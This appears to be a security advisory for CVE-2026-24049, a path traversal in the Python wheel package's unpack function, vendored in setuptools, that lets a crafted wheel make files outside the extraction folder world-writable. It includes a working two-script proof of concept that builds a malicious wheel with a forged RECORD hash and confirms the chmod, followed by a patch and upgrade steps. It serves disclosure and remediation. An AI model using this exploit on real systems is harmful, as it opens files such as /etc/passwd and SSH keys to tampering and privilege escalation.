CVE-2026-24049: wheel Allows Arbitrary File Permission Modification via Path Traversal
Summary - Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. - Root Cause Component: wheel.cli.unpack.unpack function. - Affected Packages: 1. wheel (Upstream source) 2. setuptools (Downstream, vendors wheel) - Severity: High (Allows modifying system file permissions).
Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Vulnerable Code Snippet (present in both wheel and setuptools/vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.externalattr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions)
PoC I have confirmed this exploit works against the unpack function imported from setuptools.vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (genpoc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. import zipfile import hashlib import base64 import os
def urlsafeb64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafeb64encode(data).rstrip(b'=').decode('ascii')
def gethashandsize(databytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(databytes).digest() hashstr = "sha256=" + urlsafeb64encode(digest) return hashstr, str(len(databytes))
def createevilwheelv4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheelcontent = b"Wheel-Version: 1.0\nGenerator: bdistwheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadatacontent = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payloadcontent = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. maliciouspath = "../../poctarget.txt"
# 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheelhash, wheelsize = gethashandsize(wheelcontent) metadatahash, metadatasize = gethashandsize(metadatacontent) payloadhash, payloadsize = gethashandsize(payloadcontent)
# 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poctarget.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. recordlines = [ f"evil-1.0.dist-info/WHEEL,{wheelhash},{wheelsize}", f"evil-1.0.dist-info/METADATA,{metadatahash},{metadatasize}", f"{maliciouspath},{payloadhash},{payloadsize}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] recordcontent = "\n".join(recordlines).encode('utf-8')
# 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheelcontent) zf.writestr("evil-1.0.dist-info/METADATA", metadatacontent) zf.writestr("evil-1.0.dist-info/RECORD", recordcontent)
# [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(maliciouspath) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.externalattr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payloadcontent)
print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")
if name == "main": createevilwheelv4()
Step 2: Run the Exploit (exploit.py) from pathlib import Path import sys
Demonstrating impact on setuptools try: from setuptools.vendor.wheel.cli.unpack import unpack print("[] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[] Loaded unpack from wheel")
1. Setup Target (Read-Only system file simulation) target = Path("poctarget.txt") target.writetext("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[] Initial Perms: {oct(target.stat().stmode)[-3:]}")
2. Run Vulnerable Unpack The wheel contains "../../poctarget.txt". unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpackdest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}")
3. Check Result finalperms = oct(target.stat().stmode)[-3:] print(f"[] Final Perms: {finalperms}")
if finalperms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.")
result: <img width="806" height="838" alt="image" src="https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db" /> Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.
Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().
Suggested Patch: extract() returns the actual path where the file was written extractedpath = wf.extract(zinfo, destination)
Only apply chmod if a file was actually written if extractedpath: permissions = zinfo.externalattr >> 16 & 0o777 Path(extractedpath).chmod(permissions)
Other sources
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/wheelto a version that resolves this vulnerability.Fixed in 0.46.2 - Upgrade
Upgrade
wheel.cli.unpack.unpack function (wheel library / setuptools._vendor/wheel)to a version that resolves this vulnerability.Fixed in 0.46.2 - Configuration
In the unpack function, do not use the archive header field `zinfo.filename` for post-extraction chmod. Instead, use the sanitized path returned by `wf.extract(zinfo, destination)` (e.g., `extracted_path = wf.extract(zinfo, destination)` then `Path(extracted_path).chmod(permissions)`), so chmod cannot target files outside the extraction directory.
wheel.cli.unpack.unpack (in wheel and in setuptools._vendor/wheel) post-extraction chmod path source = do not use zinfo.filename
Event History
Frequently Asked Questions
What is the severity of CVE-2026-24049?
CVE-2026-24049 is considered a high severity vulnerability due to the potential for arbitrary file permission modification.
How do I fix CVE-2026-24049?
To fix CVE-2026-24049, upgrade the wheel package to version 0.46.2 or later.
Which versions of the wheel are affected by CVE-2026-24049?
CVE-2026-24049 affects wheel versions up to and including 0.46.1.
What type of vulnerability is CVE-2026-24049?
CVE-2026-24049 is a path traversal vulnerability that allows arbitrary file permission modification.
Where can I find more information about CVE-2026-24049?
For more information on CVE-2026-24049, refer to the GitHub security advisories for the wheel package.